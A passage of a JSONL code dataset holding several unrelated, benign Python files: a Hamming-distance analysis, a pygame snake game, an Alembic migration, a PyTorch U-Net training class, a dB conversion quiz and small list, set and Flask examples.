results_bin47.append(bin(int(results47[i], 16))[2:].zfill(32))\n results_bin48.append(bin(int(results48[i], 16))[2:].zfill(32))\n results_bin49.append(bin(int(results49[i], 16))[2:].zfill(32))\n results_bin50.append(bin(int(results50[i], 16))[2:].zfill(32))\n results_bin51.append(bin(int(results51[i], 16))[2:].zfill(32))\n results_bin52.append(bin(int(results52[i], 16))[2:].zfill(32))\n results_bin53.append(bin(int(results53[i], 16))[2:].zfill(32))\n results_bin54.append(bin(int(results54[i], 16))[2:].zfill(32))\n results_bin55.append(bin(int(results55[i], 16))[2:].zfill(32))\n results_bin56.append(bin(int(results56[i], 16))[2:].zfill(32))\n results_bin57.append(bin(int(results57[i], 16))[2:].zfill(32))\n results_bin58.append(bin(int(results58[i], 16))[2:].zfill(32))\n results_bin59.append(bin(int(results59[i], 16))[2:].zfill(32))\n results_bin60.append(bin(int(results60[i], 16))[2:].zfill(32))\n results_bin61.append(bin(int(results61[i], 16))[2:].zfill(32))\n results_bin62.append(bin(int(results62[i], 16))[2:].zfill(32))\n results_bin63.append(bin(int(results63[i], 16))[2:].zfill(32))\n results_bin64.append(bin(int(results64[i], 16))[2:].zfill(32))\n results_bin65.append(bin(int(results65[i], 16))[2:].zfill(32))\n results_bin66.append(bin(int(results66[i], 16))[2:].zfill(32))\n results_bin67.append(bin(int(results67[i], 16))[2:].zfill(32))\n results_bin68.append(bin(int(results68[i], 16))[2:].zfill(32))\n results_bin69.append(bin(int(results69[i], 16))[2:].zfill(32))\n results_bin70.append(bin(int(results70[i], 16))[2:].zfill(32))\n results_bin71.append(bin(int(results71[i], 16))[2:].zfill(32))\n results_bin72.append(bin(int(results72[i], 16))[2:].zfill(32))\n results_bin73.append(bin(int(results73[i], 16))[2:].zfill(32))\n results_bin74.append(bin(int(results74[i], 16))[2:].zfill(32))\n results_bin75.append(bin(int(results75[i], 16))[2:].zfill(32))\n results_bin76.append(bin(int(results76[i], 16))[2:].zfill(32))\n results_bin77.append(bin(int(results77[i], 16))[2:].zfill(32))\n results_bin78.append(bin(int(results78[i], 16))[2:].zfill(32))\n results_bin79.append(bin(int(results79[i], 16))[2:].zfill(32))\n results_bin80.append(bin(int(results80[i], 16))[2:].zfill(32))\n results_bin81.append(bin(int(results81[i], 16))[2:].zfill(32))\n results_bin82.append(bin(int(results82[i], 16))[2:].zfill(32))\n results_bin83.append(bin(int(results83[i], 16))[2:].zfill(32))\n results_bin84.append(bin(int(results84[i], 16))[2:].zfill(32))\n results_bin85.append(bin(int(results85[i], 16))[2:].zfill(32))\n results_bin86.append(bin(int(results86[i], 16))[2:].zfill(32))\n results_bin87.append(bin(int(results87[i], 16))[2:].zfill(32))\n results_bin88.append(bin(int(results88[i], 16))[2:].zfill(32))\n results_bin89.append(bin(int(results89[i], 16))[2:].zfill(32))\n results_bin90.append(bin(int(results90[i], 16))[2:].zfill(32))\n results_bin91.append(bin(int(results91[i], 16))[2:].zfill(32))\n results_bin92.append(bin(int(results92[i], 16))[2:].zfill(32))\n results_bin93.append(bin(int(results93[i], 16))[2:].zfill(32))\n results_bin94.append(bin(int(results94[i], 16))[2:].zfill(32))\n results_bin95.append(bin(int(results95[i], 16))[2:].zfill(32))\n results_bin96.append(bin(int(results96[i], 16))[2:].zfill(32))\n results_bin97.append(bin(int(results97[i], 16))[2:].zfill(32))\n results_bin98.append(bin(int(results98[i], 16))[2:].zfill(32))\n results_bin99.append(bin(int(results99[i], 16))[2:].zfill(32))\n\nfor i in range(0, len(results0)):\n temp_results.append(results_bin0[i])\n temp_results.append(results_bin1[i])\n temp_results.append(results_bin2[i])\n temp_results.append(results_bin3[i])\n temp_results.append(results_bin4[i])\n temp_results.append(results_bin5[i])\n temp_results.append(results_bin6[i])\n temp_results.append(results_bin7[i])\n temp_results.append(results_bin8[i])\n temp_results.append(results_bin9[i])\n temp_results.append(results_bin10[i])\n temp_results.append(results_bin11[i])\n temp_results.append(results_bin12[i])\n temp_results.append(results_bin13[i])\n temp_results.append(results_bin14[i])\n temp_results.append(results_bin15[i])\n temp_results.append(results_bin16[i])\n temp_results.append(results_bin17[i])\n temp_results.append(results_bin18[i])\n temp_results.append(results_bin19[i])\n temp_results.append(results_bin20[i])\n temp_results.append(results_bin21[i])\n temp_results.append(results_bin22[i])\n temp_results.append(results_bin23[i])\n temp_results.append(results_bin24[i])\n temp_results.append(results_bin25[i])\n temp_results.append(results_bin26[i])\n temp_results.append(results_bin27[i])\n temp_results.append(results_bin28[i])\n temp_results.append(results_bin29[i])\n temp_results.append(results_bin30[i])\n temp_results.append(results_bin31[i])\n temp_results.append(results_bin32[i])\n temp_results.append(results_bin33[i])\n temp_results.append(results_bin34[i])\n temp_results.append(results_bin35[i])\n temp_results.append(results_bin36[i])\n temp_results.append(results_bin37[i])\n temp_results.append(results_bin38[i])\n temp_results.append(results_bin39[i])\n temp_results.append(results_bin40[i])\n temp_results.append(results_bin41[i])\n temp_results.append(results_bin42[i])\n temp_results.append(results_bin43[i])\n temp_results.append(results_bin44[i])\n temp_results.append(results_bin45[i])\n temp_results.append(results_bin46[i])\n temp_results.append(results_bin47[i])\n temp_results.append(results_bin48[i])\n temp_results.append(results_bin49[i])\n temp_results.append(results_bin50[i])\n temp_results.append(results_bin51[i])\n temp_results.append(results_bin52[i])\n temp_results.append(results_bin53[i])\n temp_results.append(results_bin54[i])\n temp_results.append(results_bin55[i])\n temp_results.append(results_bin56[i])\n temp_results.append(results_bin57[i])\n temp_results.append(results_bin58[i])\n temp_results.append(results_bin59[i])\n temp_results.append(results_bin60[i])\n temp_results.append(results_bin61[i])\n temp_results.append(results_bin62[i])\n temp_results.append(results_bin63[i])\n temp_results.append(results_bin64[i])\n temp_results.append(results_bin65[i])\n temp_results.append(results_bin66[i])\n temp_results.append(results_bin67[i])\n temp_results.append(results_bin68[i])\n temp_results.append(results_bin69[i])\n temp_results.append(results_bin70[i])\n temp_results.append(results_bin71[i])\n temp_results.append(results_bin72[i])\n temp_results.append(results_bin73[i])\n temp_results.append(results_bin74[i])\n temp_results.append(results_bin75[i])\n temp_results.append(results_bin76[i])\n temp_results.append(results_bin77[i])\n temp_results.append(results_bin78[i])\n temp_results.append(results_bin79[i])\n temp_results.append(results_bin80[i])\n temp_results.append(results_bin81[i])\n temp_results.append(results_bin82[i])\n temp_results.append(results_bin83[i])\n temp_results.append(results_bin84[i])\n temp_results.append(results_bin85[i])\n temp_results.append(results_bin86[i])\n temp_results.append(results_bin87[i])\n temp_results.append(results_bin88[i])\n temp_results.append(results_bin89[i])\n temp_results.append(results_bin90[i])\n temp_results.append(results_bin91[i])\n temp_results.append(results_bin92[i])\n temp_results.append(results_bin93[i])\n temp_results.append(results_bin94[i])\n temp_results.append(results_bin95[i])\n temp_results.append(results_bin96[i])\n temp_results.append(results_bin97[i])\n temp_results.append(results_bin98[i])\n temp_results.append(results_bin99[i])\n\n for j in itertools.combinations(temp_results, 2):\n hamming_dist.append(hamming2(j[0], j[1]))\n temp_results = []\n\nfp = open(\"hamming_results.dat\", \"w\")\nfor i in range(0, len(hamming_dist)):\n fp.write(hamming_dist[i]+\"\\n\")\n\nprint(hamming_dist.count(0))\nprint(hamming_dist.count(1))\nprint(hamming_dist.count(2))\nprint(hamming_dist.count(3))\nprint(hamming_dist.count(4))\nprint(hamming_dist.count(5))\nprint(hamming_dist.count(6))\nplt.hist(hamming_dist, bins=4, color='blue')\nplt.savefig(\"histXX_4bins.png\")\n#plt.hist(hamming_dist, bins=16, color='blue')\n#plt.savefig(\"histXX_16bins.png\")\n#plt.hist(hamming_dist, bins=32, color='blue')\n#plt.savefig(\"histXX_32bins.png\")\nplt.show()","sub_path":"python/analyze_results_consistency_large.py","file_name":"analyze_results_consistency_large.py","file_ext":"py","file_size_in_byte":20368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"366134316","text":"import pygame\r\nimport random\r\nimport os\r\n\r\npygame.mixer.init()\r\n\r\n\r\nx=pygame.init()\r\n\r\n#colours\r\nwhite=(255, 255, 255)\r\nred=(255, 0, 0)\r\nblack=(0, 0, 0)\r\ngreen=(0, 250, 0)\r\nyellow=(255, 255, 0)\r\nblue=(0, 0 , 255)\r\n\r\n#game window\r\nscreen_width=850\r\nscreen_height=600\r\ngameWindow=pygame.display.set_mode((screen_width,screen_height))\r\n\r\n#Background Image\r\nbgimg=pygame.image.load('gameback.jpg')\r\nbgimg=pygame.transform.scale(bgimg, (screen_width, screen_height)).convert_alpha()\r\n\r\n#game title\r\npygame.display.set_caption(\"Snake With Shubho\")\r\npygame.display.update()\r\n\r\n#Game specific variables\r\n\r\nclock=pygame.time.Clock()\r\n\r\nfont=pygame.font.SysFont(None, 55)\r\n\r\n\r\ndef text_screen(text,color,x,y):\r\n screen_text=font.render(text,True,color)\r\n gameWindow.blit(screen_text,[x,y])\r\n\r\ndef plot_snake(gameWindow, color, snk_list, snake_size):\r\n for x,y in snk_list:\r\n pygame.draw.rect(gameWindow, color, [x, y, snake_size, snake_size])\r\n\r\ndef welcome():\r\n exit_game=False\r\n pygame.mixer.music.load('tobu.mp3')\r\n pygame.mixer.music.play(2)\r\n while not exit_game:\r\n gameWindow.fill((200, 230, 200))\r\n text_screen(\"THE SNAKE GAME\", red, 250, 100)\r\n text_screen(\"Welcome Shubhojit\",black,240,240)\r\n text_screen(\"Enter Space Bar To Play\",black,200,300)\r\n for event in pygame.event.get():\r\n if event.type==pygame.QUIT:\r\n exit_game=True\r\n if event.type==pygame.KEYDOWN:\r\n if event.key==pygame.K_SPACE:\r\n gameloop()\r\n\r\n\r\n pygame.display.update()\r\n clock.tick(60)\r\n\r\n\r\n#Creating Game Loop\r\ndef gameloop():\r\n exit_game=False\r\n game_over=False\r\n snake_x=45\r\n snake_y=45\r\n velocity_x=0\r\n velocity_y=0\r\n snake_size=20\r\n score=0\r\n init_velocity=3\r\n food_x=random.randint(20, screen_width/2)\r\n food_y=random.randint(20, screen_height/2)\r\n fps=60\r\n pygame.mixer.music.load('jim.mp3')\r\n pygame.mixer.music.play(20)\r\n #Check if hiscore file exits\r\n if(not os.path.exists(\"hiscore.txt\")):\r\n with open(\"hiscore.txt\", \"w\") as f:\r\n f.write(\"0\")\r\n\r\n\r\n with open(\"hiscore.txt\", \"r\")as f:\r\n hiscore= f.read()\r\n \r\n\r\n snk_list=[]\r\n snk_length=1\r\n while not exit_game:\r\n if game_over:\r\n gameWindow.fill(white)\r\n text_screen(\"GAME OVER\", red , 320, 200)\r\n text_screen(\"You Have Scored :\" +str(score), black, 280, 250)\r\n text_screen(\"Press Enter To Continue\", ((200,0,200)), 230, 300)\r\n with open(\"hiscore.txt\", \"w\")as f:\r\n f.write(str(hiscore))\r\n\r\n for event in pygame.event.get():\r\n if event.type==pygame.QUIT:\r\n exit_game=True\r\n\r\n if event.type==pygame.KEYDOWN:\r\n if event.key==pygame.K_RETURN:\r\n welcome()\r\n else:\r\n\r\n for event in pygame.event.get():\r\n if event.type==pygame.QUIT:\r\n exit_game=True\r\n \r\n if event.type==pygame.KEYDOWN:\r\n if event.key==pygame.K_RIGHT:\r\n velocity_x=init_velocity\r\n velocity_y=0\r\n\r\n if event.key==pygame.K_LEFT:\r\n velocity_x=-init_velocity\r\n velocity_y=0\r\n\r\n if event.key==pygame.K_UP:\r\n velocity_y=-init_velocity\r\n velocity_x=0\r\n\r\n if event.key==pygame.K_DOWN:\r\n velocity_y=init_velocity\r\n velocity_x=0\r\n \r\n snake_x+=velocity_x\r\n snake_y+=velocity_y\r\n\r\n if abs(snake_x-food_x)<8 and abs(snake_y-food_y)<8:\r\n score+=10\r\n food_x=random.randint(20, screen_width/2)\r\n food_y=random.randint(20, screen_height/2)\r\n snk_length+=5\r\n\r\n if score>int(hiscore):\r\n hiscore=score\r\n\r\n\r\n gameWindow.fill(white)\r\n gameWindow.blit(bgimg, (0, 0))\r\n text_screen(\"Score:\"+str(score) + \" Hiscore: \"+str(hiscore),red,5,5)\r\n pygame.draw.rect(gameWindow, green, [food_x, food_y, snake_size, snake_size])\r\n \r\n head=[]\r\n head.append(snake_x)\r\n head.append(snake_y)\r\n snk_list.append(head)\r\n\r\n if len(snk_list)>snk_length:\r\n del snk_list[0]\r\n\r\n if head in snk_list[:-1]:\r\n game_over=True\r\n pygame.mixer.music.load('Game Over.mp3')\r\n pygame.mixer.music.play()\r\n\r\n if snake_x<0 or snake_x>screen_width or snake_y<0 or snake_y>screen_height:\r\n game_over=True\r\n pygame.mixer.music.load('Game Over.mp3')\r\n pygame.mixer.music.play()\r\n \r\n #pygame.draw.rect(gameWindow, black, [snake_x, snake_y, snake_size, snake_size])\r\n plot_snake(gameWindow, black, snk_list, snake_size)\r\n\r\n clock.tick(fps)\r\n pygame.display.update()\r\n\r\n\r\n pygame.quit()\r\n quit()\r\n\r\nwelcome()\r\n","sub_path":"snake.py","file_name":"snake.py","file_ext":"py","file_size_in_byte":5221,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"329356221","text":"# coding:iso-8859-9 Türkçe\r\n# p_10802.py: Listelerde =atamalı, +=toplamalı, append'li ve extend'li işlem süreleri kıyaslaması örneği.\r\n\r\nimport time\r\n\r\nn= 20000\r\n\r\nbaşla = time.time()\r\nL= []\r\nfor i in range (n): L = L+ [i * 2]\r\nprint (\"L = L+ [i * 2] yöntemi:\", time.time() - başla)\r\n\r\nbaşla = time.time()\r\nL= []\r\nfor i in range(n): L += [i * 2]\r\nprint (\"L += [i * 2] yöntemi:\", time.time() - başla)\r\n\r\nbaşla = time.time()\r\nL= []\r\nfor i in range(n): L.append (i * 2)\r\nprint (\"L.append (i * 2) yöntemi:\", time.time() - başla)\r\n\r\nbaşla = time.time()\r\nL= []\r\nfor i in range(n): L.extend ([i * 2])\r\nprint (\"L.extend ([i * 2]) yöntemi:\", time.time() - başla)\r\n\r\n\r\n\"\"\"Çıktı:\r\n>python p_10802.py\r\nL = L+ [i * 2] yöntemi: 4.684612274169922\r\nL += [i * 2] yöntemi: 0.04679989814758301\r\nL.append (i * 2) yöntemi: 0.031200170516967773\r\nL.extend ([i * 2]) yöntemi: 0.031199932098388672\r\n\"\"\"","sub_path":"Bernd Klein (520) ile Python/p_10802.py","file_name":"p_10802.py","file_ext":"py","file_size_in_byte":906,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"277273512","text":"\"\"\"Creating table backup\n\nRevision ID: 9e64d9455839\nRevises: f4bde80b460a\nCreate Date: 2018-08-02 19:50:32.670974\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '9e64d9455839'\ndown_revision = 'f4bde80b460a'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.create_table('backup',\n sa.Column('id', sa.INTEGER(), server_default=sa.text(\"nextval('backup_id_seq'::regclass)\"),\n autoincrement=True, nullable=False),\n sa.Column('time_created', postgresql.TIMESTAMP(), server_default=sa.text('now()'),\n autoincrement=False, nullable=True),\n sa.Column('name', sa.VARCHAR(), autoincrement=False, nullable=True),\n sa.Column('checksum', sa.VARCHAR(), autoincrement=False, nullable=True),\n sa.PrimaryKeyConstraint('id', name='pk_backup')\n )\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_table('backup')\n # ### end Alembic commands ###\n","sub_path":"server/migrations/versions/9e64d9455839_creating_table_backup.py","file_name":"9e64d9455839_creating_table_backup.py","file_ext":"py","file_size_in_byte":1152,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"451442893","text":"import numpy as np\nimport os\nimport time\nimport torch\nfrom CRC_Dataset import CV_Splits\nfrom copy import deepcopy\nfrom utils import get_train_logger, Loss_EMA\n\n\nclass Trainer(object):\n '''\n The U-Net trainer class. It wraps the main training process including dataloading, cross validation, and progress saving. \\n\n Args: \\n\n :model: model, model to train \\n\n :optimizer: Optimizer, optimizer to use \\n\n :criterion: class or func, loss function to use \\n\n :lr_scheduler: class, learning rate scheduler \\n\n :dataset: class, dataset to train on \\n\n :train_from_chkpts: list, resume training from given paths to state_dict checkpoints \\n\n :device: string, device to train on (GPU/CPU) \\n\n :output_dir: string, directory where the training checkpoints will be saved \\n\n :epochs: int, epochs to train for. one epoch is defined as a full cv sweep over the given dataset \\n\n :batch_size: int, batch_size to use \\n\n :cv_folds: int, number k of k-fold cross validation \\n\n :pin_mem: bool, if data gets stored in pinned memory (recommended if using GPU) \\n\n :num_workers: int, number of workers to spawn for dataloading\n '''\n \n def __init__(self, model, optimizer, criterion, lr_scheduler, dataset, train_from_chkpts, device,\n output_dir, epochs, batch_size, cv_folds, images_per_epoch, pin_mem, num_workers, log_level):\n \n # training \"globals\"\n self.OUTPUT_DIR = os.path.join(os.getcwd(), output_dir)\n \n # logging\n self.logger = get_train_logger(log_level)\n\n try:\n os.mkdir(self.OUTPUT_DIR)\n self.logger.info(f\"Created output folder {self.OUTPUT_DIR}\")\n except FileExistsError:\n self.logger.warning(f\"Output directory {self.OUTPUT_DIR} already exists. Checkpoints might get overwritten.\")\n\n self.EPOCHS = epochs\n self.BATCH_SIZE = batch_size\n self.PIN_MEM = pin_mem\n self.NUM_WORKERS = num_workers\n self.DEVICE = device\n self.FOLDS = cv_folds\n self.IMG_PER_EP = images_per_epoch\n self.logger.info(f\"Epochs: {epochs} | Batch Size: {batch_size} | Processed images per epoch: {images_per_epoch} | #Processes for Dataloading: {num_workers}\")\n\n if device.type == \"cuda\":\n self.logger.info(f'Using GPU \"{torch.cuda.get_device_name(device=device)}\" for training.')\n else:\n self.logger.info(\"Using CPU for training.\")\n\n # dataset and cv sampler\n self.dataset = dataset\n self.logger.info(f\"Total available training instances: {len(dataset)}\")\n self.cv_gen = CV_Splits(cv_folds, subset_size=images_per_epoch, dataset=dataset)\n self.logger.info(f\"Using {cv_folds}-Fold Cross Validation.\")\n\n # model specific\n self.model = model\n self.optimizer = optimizer\n self.criterion = criterion\n self.ema = Loss_EMA()\n self.lr_scheduler = lr_scheduler\n # push model to GPU if available\n self.model.to(device)\n\n # add tracking of losses for plotting progress\n self.loss_tracker = torch.zeros(size=(self.EPOCHS, 4))\n \n # resume training if chkpts are given\n self.resume_training(train_from_chkpts)\n if train_from_chkpts:\n self.logger.info(f\"Resuming training from following checkpoints: {train_from_chkpts}\")\n else:\n self.logger.info(f\"Start training from scratch.\")\n\n self.logger.info(f\"Model: {repr(self.model)}\")\n self.logger.info(f\"Optimizer: {repr(self.optimizer)}\")\n self.logger.info(f\"Loss Function: {repr(self.criterion)}\")\n\n # running val loss for computing average loss\n self.val_loss = 0.\n self.tr_loss = 0.\n\n # will hold average loss for each cv fold\n self.avg_val_losses = []\n self.avg_tr_losses = []\n \n # list for holding state dicts\n self.opt_state_dicts = []\n self.model_state_dicts = []\n\n def resume_training(self, chkpts):\n if chkpts: \n model_chkpt, opt_chkpt, loss_chkpt = chkpts\n try:\n self.load_progress(model_chkpt, opt_chkpt, loss_chkpt) \n self.logger.info(\"Restored model and optimizer settings.\")\n except Exception as exc:\n self.logger.warning(\"Failed to restore model and optimizer settings.\")\n raise exc\n self.start_epoch = int(model_chkpt.split(\"_\")[-1][:-3]) + 1\n else: \n self.start_epoch = 1\n\n def get_dataloader(self, dataset):\n return torch.utils.data.DataLoader(\n dataset,\n batch_size = self.BATCH_SIZE,\n shuffle = True,\n num_workers = self.NUM_WORKERS,\n pin_memory = self.PIN_MEM,\n drop_last = True\n )\n\n def run_cv_iter(self, d_tr, d_val):\n '''\n Performs one cv iteration, i.e. trains on one of the possible combinations of the different cv folds.\n '''\n n_tr_batches = len(d_tr)\n # train on splits for training\n for idx, (image, mask) in enumerate(d_tr):\n if idx % 50 == 0 or (idx+1) % n_tr_batches == 0:\n self.logger.debug(f\"Processing batch {idx+1}/{n_tr_batches}\")\n # get image batch and label batch\n image = image.to(self.DEVICE, non_blocking=self.PIN_MEM)\n mask = mask.to(self.DEVICE, non_blocking=self.PIN_MEM)\n\n self.optimizer.zero_grad()\n\n # model output\n output = self.model(image)\n\n # image is not needed anymore, delete to overlap dataloading\n # (speedup if non_blocking=True)\n del image\n\n # loss\n loss = self.criterion(output, mask)\n del mask\n \n # backprop\n loss.backward()\n self.optimizer.step()\n self.tr_loss += loss.detach().item()\n\n del d_tr\n # save average training loss\n self.avg_tr_losses.append(self.tr_loss / n_tr_batches)\n self.tr_loss = 0.\n\n self.optimizer.zero_grad() # necessary?\n\n torch.cuda.empty_cache()\n\n # eval mode takes care of skipping dropout layers\n self.model.eval()\n with torch.no_grad():\n self.logger.debug(f\"Validating...\")\n # validate on leftover fold\n for idx, (image, mask) in enumerate(d_val):\n # get image batch and label batch\n image = image.to(self.DEVICE, non_blocking=self.PIN_MEM)\n mask = mask.to(self.DEVICE, non_blocking=self.PIN_MEM)\n\n \n output = self.model(image)\n del image\n loss = self.criterion(output, mask)\n del mask\n self.val_loss += loss.item()\n\n self.model.train()\n torch.cuda.empty_cache()\n # save average validation loss\n self.avg_val_losses.append(self.val_loss / len(d_val))\n del d_val\n #print(self.val_loss / len(d_val))\n self.val_loss = 0.\n\n # save model and optimizer state\n self.model_state_dicts.append(deepcopy(self.model.state_dict()))\n self.opt_state_dicts.append(deepcopy(self.optimizer.state_dict()))\n\n def cross_validate(self):\n '''\n Performs the cross validation over all cv folds of the current epoch.\n '''\n\n # save current state dict\n self.model_st = deepcopy(self.model.state_dict())\n self.opt_st = deepcopy(self.optimizer.state_dict())\n\n for i, (d_tr, d_val) in enumerate(iter(self.cv_gen), 1):\n self.logger.debug(f\"Processing FOLD {i}/{self.FOLDS}\")\n train_loader = self.get_dataloader(d_tr)\n valid_loader = self.get_dataloader(d_val)\n\n # run cross validation iteration\n self.run_cv_iter(train_loader, valid_loader)\n\n # reset states for next iteration\n self.model.load_state_dict(deepcopy(self.model_st))\n self.optimizer.load_state_dict(deepcopy(self.opt_st))\n\n def run_training(self):\n '''\n Runs Training for specified amount of epochs. At each epoch, we keep the model of the k-fold CV that produces the lowest validation loss.\n '''\n\n # start train mode\n self.model.train()\n \n # training loop\n for epoch in range(self.start_epoch, self.EPOCHS+1):\n self.logger.info(f\"Training EPOCH: {epoch}\")\n # measure time\n t_start = time.perf_counter()\n\n # run cross validation\n self.cross_validate()\n\n # keep model with smallest validation loss\n fold_idx = np.argmin(self.avg_val_losses)\n self.model.load_state_dict(self.model_state_dicts[fold_idx])\n self.optimizer.load_state_dict(self.opt_state_dicts[fold_idx])\n\n t_end = time.perf_counter() - t_start\n\n # compute exponential moving average of chosen cv model for both tr and val loss\n curr_tr_loss, curr_val_loss = self.avg_tr_losses[fold_idx], self.avg_val_losses[fold_idx]\n tr_ma, val_ma = self.ema(curr_tr_loss, curr_val_loss)\n\n # track losses (epochs start with 1)\n self.loss_tracker[epoch-1, 0] = curr_tr_loss\n self.loss_tracker[epoch-1, 1] = curr_val_loss\n self.loss_tracker[epoch-1, 2] = tr_ma\n self.loss_tracker[epoch-1, 3] = val_ma\n\n # maybe adjust learning rate\n self.lr_scheduler.step(tr_ma)\n\n # print/log info (add logging later)\n self.logger.info(f\"avg. CV tr. losses: {self.avg_tr_losses}\")\n self.logger.info(f\"avg. CV val. losses: {self.avg_val_losses}\")\n self.logger.info(f\"Epoch: {epoch} took {t_end}s | cv iter tr_loss {curr_tr_loss} | cv iter val_loss: {curr_val_loss}\")\n self.logger.info(f\"Exponential Moving Averages: tr_MA {tr_ma}, val_MA {val_ma}\")\n self.logger.info(f\"Current Learning Rate: {self.optimizer.param_groups[0]['lr']}\")\n\n self.avg_tr_losses.clear()\n self.avg_val_losses.clear()\n self.model_state_dicts.clear()\n self.opt_state_dicts.clear()\n\n # save model and optimizer state to disc\n if epoch % 5 == 0:\n self.logger.info(f\"Saving Progress to {self.OUTPUT_DIR}\")\n self.save_progress(epoch)\n\n def save_progress(self, epoch):\n # filenames\n model_chkpt = os.path.join(self.OUTPUT_DIR, f\"model_chkpt_{epoch}.pt\")\n opt_chkpt = os.path.join(self.OUTPUT_DIR, f\"optimizer_chkpt_{epoch}.pt\")\n\n # model state dicts\n torch.save(self.model.state_dict(), model_chkpt)\n torch.save(self.optimizer.state_dict(), opt_chkpt)\n\n # loss tracking\n torch.save(self.loss_tracker, os.path.join(self.OUTPUT_DIR, f\"loss_arr_{epoch}.pt\"))\n \n\n def load_progress(self, model_path, opt_path, loss_path):\n # load model and optimizer\n self.model.load_state_dict(torch.load(model_path))\n self.optimizer.load_state_dict(torch.load(opt_path))\n\n # load loss tracker\n self.loss_tracker = torch.load(loss_path)","sub_path":"trainer.py","file_name":"trainer.py","file_ext":"py","file_size_in_byte":11327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"598681413","text":"import random\nimport math\nimport time\n\nbaseNum = [2**0,2**1,2**3,2**4/10,2**5/10,2**6/10,2**7/100,2**8/100,10/2,10/4,10/8,100/16,4]\nmultiP = [0.01,0.1,1,10,100]\nprefix = [1e-12,1e-9,1e-6,1e-3,1e0,1e3]\nprefixLetter = ['p','n','u','m','','k']\n\nbaseNumDBM = [0,3,9,2,5,8,1,4,7,4,1,8,6]\nmultiPDBM = [-20,-10,0,10,20]\nprefixDBM = [-90,-60,-30,0,30,60]\n\nbaseNumDBUV = baseNumDBM\nmultiPDBUV = multiPDBM\nprefixDBUV = [-60,-30,0,30,60,90]\n\n#Settings\nmethod = 0 #0 ->dbm, 1 ->dbuV\ndirection = 0 #0 ->db, 1 ->val\nrandomize = 1\n\nwhile(True):\n baseNumIndex = random.randint(0, len(baseNum)-1)\n multiPIndex = random.randint(0, len(multiP)-1)\n prefixIndex = random.randint(0, len(prefix)-1)\n\n num = baseNum[baseNumIndex]*multiP[multiPIndex]*prefix[prefixIndex]\n\n if (randomize):\n method = random.randint(0,1)\n direction = random.randint(0,1)\n\n if (method):\n db = baseNumDBUV[baseNumIndex]+multiPDBUV[multiPIndex]+prefixDBUV[prefixIndex]\n db = db*2\n else:\n db = baseNumDBM[baseNumIndex]+multiPDBM[multiPIndex]+prefixDBM[prefixIndex]\n\n if (direction):\n print(str(db), end='')\n\n if (method):\n print(\" dbuV\", end='')\n else:\n print(\" dbm\", end='')\n\n input()\n\n print(str(round(baseNum[baseNumIndex]*multiP[multiPIndex],4))+\" \"+prefixLetter[prefixIndex], end='')\n\n if (method):\n print(\"V\\n\")\n else:\n print(\"W\\n\")\n \n else:\n print(str(round(baseNum[baseNumIndex]*multiP[multiPIndex],4))+\" \"+prefixLetter[prefixIndex], end='')\n\n if (method):\n print(\"V\", end='')\n else:\n print(\"W\", end='')\n \n input()\n\n if (method):\n print(str(db)+\" dbuV\\n\")\n #print(str(db)+\" dbuV\"+\"\\t\"+str(20*math.log10(num/1e-6))+\" dbuV\\n\")\n else:\n print(str(db)+\" dbm\\n\")\n #print(str(db)+\" dbm\"+\"\\t\"+str(10*math.log10(num/1e-3))+\" dbm\\n\")","sub_path":"dbTrainer.py","file_name":"dbTrainer.py","file_ext":"py","file_size_in_byte":1964,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"156937625","text":"import pandas as pd\nimport numpy as np\nimport timeit\n\nstartzeitDaten = timeit.default_timer()\n\ndata_firm_lvl_ratios = pd.read_csv(r\"C:\\Users\\Diego Hager\\Desktop\\Uzh\\6. Semster\\Machine Learning\\Daten\\firm_lvl_ratios_gvkey.csv\", parse_dates = [\"adate\", \"qdate\", \"public_date\"], dayfirst = True).sort_values(\"gvkey\")#, index_col = [\"gvkey\", \"public_date\"])\ndata_firm_lvl_ratios.rename(columns = {\"public_date\": \"datadate\"}, inplace=True)\ndata_ratings = pd.read_csv(r\"C:\\Users\\Diego Hager\\Desktop\\Uzh\\6. Semster\\Machine Learning\\Daten\\ratings.csv\", parse_dates = [\"datadate\"], dayfirst = True).sort_values(\"gvkey\")#, index_col=[\"gvkey\", \"datadate\"]) \n\ndata_asof_merge = pd.merge_asof(data_ratings, data_firm_lvl_ratios, on = \"gvkey\", by = \"datadate\", suffixes = [\"gvkey\", \"datadate\"] )\n\nendzeitDaten = timeit.default_timer()\n\nprint(\"Time is: \", endzeitDaten-startzeitDaten)\n","sub_path":"Data_merger.py","file_name":"Data_merger.py","file_ext":"py","file_size_in_byte":870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"447704373","text":"# To add one item to a set use the add() method.\n\n# To add more than one item to a set use the update() method.\n\n# Add an item to a set, using the add() method:\n\nthisset = {\"apple\", \"banana\", \"cherry\"}\nthisset.add(\"orange\")\nprint(thisset)\n\n# Add multiple items to a set, using the update() method:\n\nthisset = {\"BMW\", \"Maserati\", \"MG Hector\"}\nthisset.update([\"Black\", \"Blue\", \"White\"])\nprint(thisset)\n","sub_path":"Python_Sets/additems.py","file_name":"additems.py","file_ext":"py","file_size_in_byte":400,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"55"} +{"seq_id":"183676129","text":"from flask import Flask,render_template,url_for,request\r\nfrom flask_sqlalchemy import SQLAlchemy\r\n\r\n#import sqlite3 as sql\r\n\r\napp = Flask(__name__)\r\n\r\nimport MySQLdb\r\n\r\n\r\n\r\nimport json\r\n\r\nwith open('config.json', 'r') as c:\r\n params= json.load(c)[\"params\"]\r\n\r\nlocal_server=params['local_server']\r\n\r\n\r\n\r\n\r\n\r\nif(local_server):\r\n app.config['SQLALCHEMY_DATABASE_URI'] = 